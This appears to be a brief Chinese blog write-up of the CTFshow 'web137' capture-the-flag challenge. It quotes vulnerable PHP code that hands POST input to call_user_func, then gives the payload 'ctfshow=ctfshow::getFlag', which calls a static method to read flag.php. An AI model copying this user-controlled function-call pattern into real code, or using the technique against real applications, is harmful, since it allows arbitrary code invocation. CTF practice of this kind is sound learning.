web137笔记(调用ctfshow类中的getFlag方法)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

没有难度,就是直接调用ctfshow类中的getFlag方法就好,payload为

post:
ctfshow=ctfshow::getFlag

 

 

posted @ 2025-03-29 11:01  justdoIT*  阅读(8)  评论(0)    收藏  举报